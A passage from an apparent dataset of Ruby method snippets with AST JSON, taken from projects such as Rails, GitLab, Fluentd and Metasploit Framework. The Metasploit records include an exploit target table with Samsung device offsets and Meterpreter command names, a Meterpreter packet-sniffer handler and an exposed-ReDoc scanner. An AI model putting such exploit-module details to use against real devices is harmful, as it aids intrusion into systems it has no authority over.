Samsung\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"new_samsung\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"iovstack\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"offset\"]},{\"type\":\"int\",\"children\":[7380]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"force_remove\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Old Samsung\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"new_samsung\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"iovstack\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"offset\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"force_remove\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Samsung Grand\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"new_samsung\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"iovstack\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"offset\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"force_remove\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"core_loadlib\"]},{\"type\":\"str\",\"children\":[\"stdapi_fs_delete_file\"]},{\"type\":\"str\",\"children\":[\"stdapi_fs_getwd\"]}]}]}]}]}]}]}]}]}]}]}","id":"c107079d-6779-48e5-a229-e27a9b0b99f8"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/config/initializers/rack_attack.rb","start_line":48,"raw_source":"def api_request?\n      path.start_with?('/api')\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"api_request?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"path\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"/api\"]}]}]}","id":"dde64b13-1a6e-43fe-9d82-bae457c38132"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_supervisor.rb","start_line":835,"raw_source":"def test_log_path(supervisor)\n      log_path = Pathname(@tmp_dir) + \"fluentd.log\"\n      config_path = Pathname(@tmp_dir) + \"fluentd.conf\"\n      write_config config_path.to_s, \"\"\n\n      s = Fluent::Supervisor.new(config_path: config_path.to_s, log_path: log_path.to_s)\n      assert_rr do\n        mock.proxy(File).chmod(0o777, log_path.parent.to_s).never\n        s.__send__(:setup_global_logger, supervisor: supervisor)\n      end\n\n      assert { log_path.parent.exist? }\n    ensure\n      $log.out.close\n    end","complexity_score":35.13,"ast_json":"{\"type\":\"def\",\"children\":[\"test_log_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"supervisor\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"log_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Pathname\",{\"type\":\"ivar\",\"children\":[\"@tmp_dir\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"fluentd.log\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Pathname\",{\"type\":\"ivar\",\"children\":[\"@tmp_dir\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"fluentd.conf\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write_config\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_path\"]},\"to_s\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Supervisor\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_path\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_path\"]},\"to_s\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_rr\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mock\"]},\"proxy\",{\"type\":\"const\",\"children\":[null,\"File\"]}]},\"chmod\",{\"type\":\"int\",\"children\":[511]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_path\"]},\"parent\"]},\"to_s\"]}]},\"never\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"__send__\",{\"type\":\"sym\",\"children\":[\"setup_global_logger\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"supervisor\"]},{\"type\":\"lvar\",\"children\":[\"supervisor\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_path\"]},\"parent\"]},\"exist?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"out\"]},\"close\"]}]}]}","id":"14815862-4a49-4325-8549-bb73bc00992c"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/columns.rb","start_line":158,"raw_source":"def modal_open?\n        !!@opened\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"modal_open?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@opened\"]},\"!\"]},\"!\"]}]}","id":"e632e8cf-c5ea-49bf-873c-a097f940f218"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":473,"raw_source":"def render_to_string_and_render_with_different_formats\n    @html = render_to_string template: \"test/with_partial\", formats: [:html]\n    render template: \"test/with_partial\", formats: [:text]\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render_to_string_and_render_with_different_formats\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@html\",{\"type\":\"send\",\"children\":[null,\"render_to_string\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"test/with_partial\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formats\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"test/with_partial\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formats\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]}]}]}]}]}]}]}","id":"85d2988d-5689-4d63-a736-1e5f48a5c013"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/helper.rb","start_line":160,"raw_source":"def ipv6_enabled?\n  require 'socket'\n\n  begin\n    TCPServer.open(\"::1\", 0)\n    true\n  rescue\n    false\n  end\nend","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ipv6_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"socket\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TCPServer\"]},\"open\",{\"type\":\"str\",\"children\":[\"::1\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"false\",\"children\":[]}]},null]}]}]}]}","id":"b32aa3d4-62a2-4068-9c5b-1debb6738d33"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/backup_logger.rb","start_line":12,"raw_source":"def warn(message)\n      progress.puts Rainbow(\"#{Time.zone.now} -- #{message}\").yellow\n\n      json_logger.warn(message: message)\n    end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"warn\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"progress\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Rainbow\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]},{\"type\":\"str\",\"children\":[\" -- \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},\"yellow\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json_logger\"]},\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]}","id":"36baf03f-fb1e-44bd-8f04-15fd8a1beac0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb","start_line":125,"raw_source":"def cmd_sniffer_release(*args)\n    intf = args[0].to_i\n    if (intf == 0)\n      print_error(\"Usage: sniffer_release [interface-id]\")\n      return\n    end\n\n    res = client.sniffer.capture_release(intf)\n    print_status(\"Flushed #{res[:packets]} packets (#{res[:bytes]} bytes) from interface #{intf}\")\n\n    return true\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_sniffer_release\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"intf\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"intf\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Usage: sniffer_release [interface-id]\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sniffer\"]},\"capture_release\",{\"type\":\"lvar\",\"children\":[\"intf\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Flushed \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"packets\"]}]}]},{\"type\":\"str\",\"children\":[\" packets (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bytes\"]}]}]},{\"type\":\"str\",\"children\":[\" bytes) from interface \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"intf\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"a1dfd9b4-57b6-4ac1-92b4-f0f46e0e860a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/empty_line_after_multiline_condition.rb","start_line":105,"raw_source":"def check_condition(condition)\n          return unless condition.multiline?\n          return if next_line_empty?(condition.last_line)\n\n          add_offense(condition, &autocorrect(condition))\n        end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check_condition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"condition\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]},\"multiline?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"next_line_empty?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]},\"last_line\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"condition\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"autocorrect\",{\"type\":\"lvar\",\"children\":[\"condition\"]}]}]}]}]}]}","id":"df4c0709-9eb3-4047-b7d9-9431e7795e47"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/serializers/workspace_serializer.rb","start_line":24,"raw_source":"def organization_name\n    object.organization.name\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"organization_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"organization\"]},\"name\"]}]}","id":"e002ae28-18f9-4d88-92da-406854ea3cef"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":3156,"raw_source":"def test_create_children_could_be_rolled_back_by_after_save\n    firm = Firm.create!(name: \"A New Firm, Inc\")\n    assert_no_difference \"Client.count\" do\n      client = firm.clients.create(name: \"New Client\") do |cli|\n        cli.rollback_on_save = true\n        assert_not cli.rollback_on_create_called\n      end\n      assert client.rollback_on_create_called\n    end\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_create_children_could_be_rolled_back_by_after_save\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"firm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Firm\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"A New Firm, Inc\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_difference\",{\"type\":\"str\",\"children\":[\"Client.count\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"clients\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"New Client\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"rollback_on_save=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"rollback_on_create_called\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"rollback_on_create_called\"]}]}]}]}]}]}","id":"14f813dc-1e5a-4be3-b86c-2d5b05035f34"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/ambiguous_operator_precedence.rb","start_line":97,"raw_source":"def operator_name(node)\n          if node.send_type?\n            node.method_name\n          else\n            node.operator.to_sym\n          end\n        end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"operator_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"send_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"operator\"]},\"to_sym\"]}]}]}","id":"2c28ce46-b07f-485a-8a0f-4ea61ceaf45a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/import/source_users_finder.rb","start_line":28,"raw_source":"def by_statuses(collection)\n      return collection unless params[:statuses].present?\n\n      collection.by_statuses(params[:statuses])\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"by_statuses\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"collection\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"statuses\"]}]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collection\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collection\"]},\"by_statuses\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"statuses\"]}]}]}]}]}","id":"98784d5c-c745-4f67-960a-37dcee816cb1"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/views/global_create_service.rb","start_line":53,"raw_source":"def view_params(call)\n    { query_id: call.result.id, type: view_type }\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"view_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"call\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[null,\"view_type\"]}]}]}]}","id":"7a4e442f-5f7f-4630-b809-fc1887658396"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/test_runner_test.rb","start_line":1161,"raw_source":"def test_rake_runs_tests_before_other_tasks_when_specified\n      app_file \"Rakefile\", <<~RUBY, \"a\"\n        task :echo do\n          puts \"echo\"\n        end\n      RUBY\n      output = Dir.chdir(app_path) { `bin/rake test echo` }\n      assert_equal \"echo\", output.split(\"\\n\").last\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rake_runs_tests_before_other_tasks_when_specified\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_file\",{\"type\":\"str\",\"children\":[\"Rakefile\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"task :echo do\\n\"]},{\"type\":\"str\",\"children\":[\"  puts \\\"echo\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"end\\n\"]}]},{\"type\":\"str\",\"children\":[\"a\"]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"chdir\",{\"type\":\"send\",\"children\":[null,\"app_path\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bin/rake test echo\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"echo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"last\"]}]}]}]}","id":"cd5fc839-7efd-4b64-91ce-8439689f667c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/email_helpers.rb","start_line":59,"raw_source":"def find_email_for(user_or_email)\n    to = user_or_email.is_a?(User) ? user_or_email.notification_email_or_default : user_or_email\n    ActionMailer::Base.deliveries.find { |d| d.to.include?(to) }\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"find_email_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_or_email\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"to\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_or_email\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"User\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_or_email\"]},\"notification_email_or_default\"]},{\"type\":\"lvar\",\"children\":[\"user_or_email\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionMailer\"]},\"Base\"]},\"deliveries\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"to\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"to\"]}]}]}]}]}","id":"ccf9b8be-099e-44c8-b9ec-190a21a2ce05"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/bitbucket_server_import/parallel_scheduling.rb","start_line":96,"raw_source":"def mark_as_processed(object)\n        id = id_for_already_processed_cache(object)\n\n        Gitlab::Cache::Import::Caching.set_add(already_processed_cache_key, id)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"mark_as_processed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[null,\"id_for_already_processed_cache\",{\"type\":\"lvar\",\"children\":[\"object\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Cache\"]},\"Import\"]},\"Caching\"]},\"set_add\",{\"type\":\"send\",\"children\":[null,\"already_processed_cache_key\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}","id":"d667c926-3093-4ee3-bc87-0d5593dddb8b"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_tail/group_watch.rb","start_line":119,"raw_source":"def find_group_from_metadata(path)\n        begin\n          metadata = @group.pattern.match(path).named_captures\n          group_watcher = find_group(metadata)\n        rescue\n          log.warn \"Cannot find group from metadata, Adding file in the default group\"\n          group_watcher = @group_watchers[@default_group_key]\n        end\n\n        group_watcher\n      end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"find_group_from_metadata\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"metadata\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group\"]},\"pattern\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"named_captures\"]}]},{\"type\":\"lvasgn\",\"children\":[\"group_watcher\",{\"type\":\"send\",\"children\":[null,\"find_group\",{\"type\":\"lvar\",\"children\":[\"metadata\"]}]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"warn\",{\"type\":\"str\",\"children\":[\"Cannot find group from metadata, Adding file in the default group\"]}]},{\"type\":\"lvasgn\",\"children\":[\"group_watcher\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group_watchers\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@default_group_key\"]}]}]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"group_watcher\"]}]}]}","id":"bd08789c-6485-4482-9c34-1e30d6f4f3b6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/redoc_exposed.rb","start_line":48,"raw_source":"def redoc_like?(res)\n    # Accept only 2xx or 403 (exclude redirects; many 3xx lack HTML to analyze)\n    return false unless res && (res.code.between?(200, 299) || res.code == 403)\n\n    # Prefer DOM checks\n    doc = res.get_html_document\n    if doc && (doc.at_css('redoc, redoc-, #redoc') ||\n               doc.css('script[src*=\"redoc\"]').any? ||\n               doc.css('script[src*=\"redoc.standalone\"]').any?)\n      return true\n    end\n\n    # Fallback to body/title heuristics\n    title = res.get_html_title.to_s\n    body = res.body.to_s\n    return true if title =~ /redoc/i || body =~ /<redoc-?/i || body =~ /redoc(\\.standalone)?\\.js/i\n\n    false\n  end","complexity_score":31.95,"ast_json":"{\"type\":\"def\",\"children\":[\"redoc_like?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"between?\",{\"type\":\"int\",\"children\":[200]},{\"type\":\"int\",\"children\":[299]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[403]}]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"doc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"at_css\",{\"type\":\"str\",\"children\":[\"redoc, redoc-, 